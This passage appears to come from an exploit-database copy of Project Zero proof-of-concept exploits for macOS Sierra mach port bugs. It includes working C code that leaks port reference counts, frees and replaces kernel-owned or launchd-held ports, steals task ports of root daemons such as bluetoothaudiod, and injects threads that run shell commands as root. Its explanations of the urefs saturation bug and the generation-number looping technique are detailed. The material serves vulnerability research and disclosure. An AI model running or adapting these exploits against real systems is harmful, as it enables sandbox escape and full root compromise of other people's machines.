parses XPC messages. This doesn't require bluetooth to be enabled.

Putting this all together the flow of the exploit looks like this:

  * get a send right to the IOBluetoothHCIController IOService
  * overflow the reference count of that ipc_port to 0 and free it
  * allocate many new receive rights to reuse the freed ipc_port
  * add the new receive rights to a port set to simplify receiving messages
  * crash bluetoothaudiod forcing it to restart
  * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
  * bluetoothaudiod will send its task port to the IOService
  * the task port is actually sent to us as we have the receive right
  * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND

Tested on MacOS 10.12 16a323

The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
*/

// ianbeer

#if 0
LPE exploit for the kernel ipc_port_t reference leak bug

I wanted to explore some more interesting exploit primitives I could build with this bug.

One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.

We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.

Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!

Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.

io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)

For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
parses XPC messages. This doesn't require bluetooth to be enabled.

Putting this all together the flow of the exploit looks like this:

  * get a send right to the IOBluetoothHCIController IOService
  * overflow the reference count of that ipc_port to 0 and free it
  * allocate many new receive rights to reuse the freed ipc_port
  * add the new receive rights to a port set to simplify receiving messages
  * crash bluetoothaudiod forcing it to restart
  * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
  * bluetoothaudiod will send its task port to the IOService
  * the task port is actually sent to us as we have the receive right
  * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND

Tested on MacOS 10.12 16a323

The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <xpc/xpc.h>

#include <IOKit/IOKitLib.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         0x1000,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %zx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      "/bin/bash",
                      strlen("/bin/bash") + 1);
 
  err = mach_vm_write(target_task,
                      dash_c,
                      "-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      argv_contents,
                      sizeof(argv_contents));
 
  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}

void force_bluetoothaudiod_restart() {
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);

  xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough");

  xpc_connection_send_message(conn, msg);

  printf("waiting to make sure launchd knows the target has crashed\n");
  usleep(100000);

  printf("bluetoothaudiod should have crashed now\n");

  xpc_release(msg);

	// connect to the service again and send a message to force it to restart:
  conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  msg = xpc_dictionary_create(NULL, NULL, 0);

  xpc_dictionary_set_string(msg, "hello", "world");

  xpc_connection_send_message(conn, msg);

	printf("bluetoothaudiod should be calling IOServiceOpen now\n");
}

mach_port_t self;

void leak_one_ref(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_COPY_SEND);  
}

void leak_one_ref_for_receive(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
}

char* spinners = "-\\|/";
void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
	int step = 0;
  for (uint64_t i = 0; i < n_refs; i++) {
    leak_one_ref(overflower);
    if ((i % 0x40000) == 0) {
      float done = (float)i/(float)n_refs;
		 	step = (step+1) % strlen(spinners);
      fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
      fflush(stdout);
    }
  }
	fprintf(stdout, "\roverflowed                           \n");
	fflush(stdout);
}

// quickly take a release a kernel reference
// if the reference has been overflowed to 0 this will free the object
void inc_and_dec_ref(mach_port_t p) {
  // if we pass something which isn't a task port name:
  // port_name_to_task 
  //   ipc_object_copyin
  //     takes a ref
  //   ipc_port_release_send
  //     drops a ref

  _kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
}

/* try to get the free'd port replaced with a new port for which we have
 * a receive right
 * Once we've allocated a lot of new ports add them all to a port set so
 * we can just receive on the port set to find the correct one
 */
mach_port_t replace_with_receive() {
  int n_ports = 2000;
  mach_port_t ports[n_ports];
  for (int i = 0; i < n_ports; i++) {
    mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
  }

  // allocate a port set
  mach_port_t ps;
  mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member( self, ports[i], ps);
  }
  return ps;
}

/* listen on the port set for io_service_open_extended messages :
 */
struct service_open_mig {
	mach_msg_header_t Head;
	/* start of the kernel processed data */
	mach_msg_body_t msgh_body;
	mach_msg_port_descriptor_t owningTask;
	mach_msg_ool_descriptor_t properties;
	/* end of the kernel processed data */
	NDR_record_t NDR;
	uint32_t connect_type;
	NDR_record_t ndr;
	mach_msg_type_number_t propertiesCnt;
};

void service_requests(mach_port_t ps) {
  size_t size = 0x1000;
  struct service_open_mig* request = malloc(size);
  memset(request, 0, size);

  printf("receiving on port set\n");
  kern_return_t err = mach_msg(&request->Head,
                               MACH_RCV_MSG,
                               0,
                               size,
                               ps,
                               0,
                               0);

  if (err != KERN_SUCCESS) {
    printf("error receiving on port set: %s\n", mach_error_string(err));
    return;
  }

  mach_port_t replaced_with = request->Head.msgh_local_port;

  printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port); 	
	mach_port_t target_task = request->owningTask.name;
	printf("got task port: 0x%x\n", target_task);

	run_command(target_task, "touch /tmp/hello_from_fake_kernel");
  
  printf("did that work?\n");
	printf("leaking some refs so we don't kernel panic");

	for(int i = 0; i < 0x100; i++) {
		leak_one_ref_for_receive(replaced_with);
  }

}

int main() {
	self = mach_task_self(); // avoid making the trap every time

	//mach_port_t test;
  //mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);

  // get the service we want to target:
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
  printf("%d : 0x%x\n", getpid(), service);

  // we don't know how many refs the port actually has - lets guess less than 40...
  uint32_t max_refs = 40;
  leak_n_refs(service, 0x100000000-max_refs);

  // the port now has a reference count just below 0 so we'll try in a loop
  // to free it, reallocate and test to see if it worked - if not we'll hope
  // that was because we didn't free it:

  mach_port_t fake_service_port = MACH_PORT_NULL;
  for (uint32_t i = 0; i < max_refs; i++) {
    inc_and_dec_ref(service);

    mach_port_t replacer_ps = replace_with_receive();

    // send a message to the service - if we receive it on the portset then we won:
    mach_msg_header_t msg = {0};
    msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    msg.msgh_remote_port = service;
    msg.msgh_id = 0x41414141;
    msg.msgh_size = sizeof(msg);
    kern_return_t err;
    err = mach_msg(&msg,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(msg),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    printf("sending probe: %s\n", mach_error_string(err));

    mach_msg_empty_rcv_t reply = {0};
    mach_msg(&reply.header,
             MACH_RCV_MSG | MACH_RCV_TIMEOUT,
             0,
             sizeof(reply),
             replacer_ps,
             1, // 1ms
             0);
             
		if (reply.header.msgh_id == 0x41414141) {
      // worked:
      printf("got the probe message\n");
      fake_service_port = replacer_ps;
      break;
    }
    printf("trying again (%d)\n", i);

    // if it didn't work leak another ref and try again:
    leak_one_ref(service);
  }


  printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");

	force_bluetoothaudiod_restart();

  service_requests(fake_service_port);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

** Doing something interesting **

Here's one example of how this bug could be used to elevate privileges/escape from sandboxes:

All processes have send rights to the bootstrap server (launchd). When they wish to lookup a service they send messages to this port.

Process A and B run as the same user; A is sandboxed, B isn't. B implements a mach service and A has looked up a send right to the service vended by
B via launchd.

Process A builds a mach message with 0x10000 ool send rights to the bootstrap server and sends this message to B. B receives the message inside mach_msg_server
(or a similar function.) When the kernel copies out this message to process B it sees that B already has a name for the boostrap port so increments the urefs count
for that name for each ool port in the message - there are 0x10000 of those but the urefs count stops incrementing at 0xfffe (but the copy outs still succeed and
process B sees 0x10000 copies of the same name in the received ool ports descriptor.)

Process B sees that the message doesn't match its MIG schema and passes it to mach_msg_destroy, which calls mach_port_deallocate 0x10000 times, destroying the rights
carried in the ool ports; since the bootstrap_port name only has 0xfffe urefs after the 0xfffe'th mach_port_deallocate this actually frees the boostrap_port's
name in process B meaning that it can be reused to name another port right. The important thing to notice here is that process B still believes that the name names
a send right to launchd (and it will just read the name from the bootstrap_port global variable.)

Process A can then allocate new mach port receive rights and send another message containing send rights to these new ports to process B and try to get the old name
reused to name one of these send rights - now when process B tries to communicate with launchd it will instead be communicating with process A.

Turning this into code execution outside of the sandbox would depend on what you could transativly do by impersonating launchd in such a fashion but it's surely possible.

Another approach with a more clear path to code execution would be to replace the IOKit master device port using the same technique - there's then a short path to getting
the target's task port if it tries to open a new IOKit user client since it will pass its task port to io_service_open_extended.

** poc **

This PoC just demonstrates the ability to cause the boostrap port name to be freed in another process - this should be proof enough that there's a very serious bug here.

Use a kernel debugger and showtaskrights to see that sharingd's name for the bootstrap port has been freed but that in userspace the bootstrap_port global is still the old name.

I will work on a full exploit but it's a non-trivial task! Please reach out to me ASAP if you require any futher information about the impact of this bug.

Tested on MacOS Sierra 10.12 (16A323)

################################################################################

Exploit attached :)

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
*/

// ianbeer
// build: clang -o service_mitm service_mitm.c

#if 0
Exploit for the urefs saturation bug

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

	struct ipc_entry {
		struct ipc_object *ie_object;
		ipc_entry_bits_t ie_bits;
		mach_port_index_t ie_index;
		union {
			mach_port_index_t next;		/* next in freelist, or...  */
			ipc_table_index_t request;	/* dead name request notify */
		} index;
	};

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
		    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
			entry = IE_NULL;		
	}

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libproc.h>
#include <pthread.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  size_t command_length = strlen(command) + 1;
  size_t command_page_length = ((command_length + 0xfff) >> 12) << 12;
  command_page_length += 1; // for the stack

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         command_page_length,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %llx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      (mach_vm_offset_t)"/bin/bash",
                      strlen("/bin/bash") + 1);

  err = mach_vm_write(target_task,
                      dash_c,
                      (mach_vm_offset_t)"-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      (mach_vm_offset_t)command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      (mach_vm_offset_t)argv_contents,
                      sizeof(argv_contents));

  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}


mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

/*
host_service is the service which is hosting the port we want to free (eg the bootstrap port)
target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd)
*/

struct ool_msg  {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_ports_descriptor_t ool_ports;
};

// this msgh_id is an XPC message
uint32_t msgh_id_to_get_destroyed = 0x10000000;

void do_free(mach_port_t host_service, mach_port_t target_port) {
  kern_return_t err;

  int port_count = 0x10000;
  mach_port_t* ports = malloc(port_count * sizeof(mach_port_t));
  for (int i = 0; i < port_count; i++) {
    ports[i] = target_port;
  }

  // build the message to free the target port name
  struct ool_msg* free_msg = malloc(sizeof(struct ool_msg));
  memset(free_msg, 0, sizeof(struct ool_msg));

  free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  free_msg->hdr.msgh_size = sizeof(struct ool_msg);
  free_msg->hdr.msgh_remote_port = host_service;
  free_msg->hdr.msgh_local_port = MACH_PORT_NULL;
  free_msg->hdr.msgh_id = msgh_id_to_get_destroyed;

  free_msg->body.msgh_descriptor_count = 1;
  
  free_msg->ool_ports.address = ports;
  free_msg->ool_ports.count = port_count;
  free_msg->ool_ports.deallocate = 0;
  free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
  free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

  // send the free message
  err = mach_msg(&free_msg->hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("free message: %s\n", mach_error_string(err));
}

void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) {
  kern_return_t err;
  struct ool_msg msg = {0};
  msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = msgh_id_to_get_destroyed;

  msg.body.msgh_descriptor_count = 1;

  msg.ool_ports.address = (void*)ports;
  msg.ool_ports.count = n_ports;
  msg.ool_ports.disposition = disposition;
  msg.ool_ports.deallocate = 0;
  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  printf("sending looper: %s\n", mach_error_string(err));

  // need to wait a little bit since we don't send a reply port and don't want to fill the queue
  usleep(100);
}

mach_port_right_t right_fixup(mach_port_right_t in) {
  switch (in) {
    case MACH_MSG_TYPE_PORT_SEND:
      return MACH_MSG_TYPE_MOVE_SEND;
    case MACH_MSG_TYPE_PORT_SEND_ONCE:
      return MACH_MSG_TYPE_MOVE_SEND_ONCE;
    case MACH_MSG_TYPE_PORT_RECEIVE:
      return MACH_MSG_TYPE_MOVE_RECEIVE;
    default:
      return 0; // no rights
  }
}

int ran_command = 0;

void inspect_port(mach_port_t port) {
  pid_t pid = 0;
  pid_for_task(port, &pid);
  if (pid != 0) {
    printf("got task port for pid: %d\n", pid);
  }
	// find the uid
  int proc_err;
  struct proc_bsdshortinfo info = {0};
  proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info));
  if (proc_err <= 0) {
    // fail
    printf("proc_pidinfo failed\n");
    return;
  }

	if (info.pbsi_uid == 0) {
		printf("got r00t!! ******************\n");
    printf("(via task port for: %s)\n", info.pbsi_comm);
	  if (!ran_command) {
      run_command(port, "echo hello > /tmp/hello_from_root");
      ran_command = 1;
    }
  }

  return;
}

/*
implements the mitm
replacer_portset contains receive rights for all the ports we send to launchd
to replace the real service port

real_service_port is a send-right to the actual service

receive messages on replacer_portset, inspect them, then fix them up and send them along
to the real service
*/
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
  size_t max_request_size = 0x10000;	
	mach_msg_header_t* request = malloc(max_request_size);

  for(;;) {
    memset(request, 0, max_request_size);
    kern_return_t err = mach_msg(request,
                                 MACH_RCV_MSG | 
                                 MACH_RCV_LARGE, // leave larger messages in the queue
                                 0,
                                 max_request_size,
                                 replacer_portset,
                                 0,
                                 0);

    if (err == MACH_RCV_TOO_LARGE) {
      // bump up the buffer size
      mach_msg_size_t new_size = request->msgh_size + 0x1000;
      request = realloc(request, new_size);
      // try to receive again
      continue;
    }

    if (err != KERN_SUCCESS) {
      printf("error receiving on port set: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }

    printf("got a request, fixing it up...\n");

    // fix up the message such that it can be forwarded:

    // get the rights we were sent for each port the header
